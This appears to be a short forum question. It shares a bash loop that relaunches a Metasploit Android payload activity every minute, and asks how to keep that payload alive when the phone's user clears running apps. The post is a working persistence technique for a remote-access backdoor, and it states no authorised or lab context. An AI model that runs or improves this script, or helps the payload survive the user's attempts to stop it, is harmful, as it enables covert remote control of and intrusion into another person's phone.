This is the bash script for my android payload
#!/bin/bash while : do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity sleep 60 done
The issue is when I do Clear running apps in the mobile it doesn't get the connection back, it does the following...
Is there a script that never quit the running MainActivity app even if I click clear running apps on mobile ? Am I missing anything ? What might be the issue ?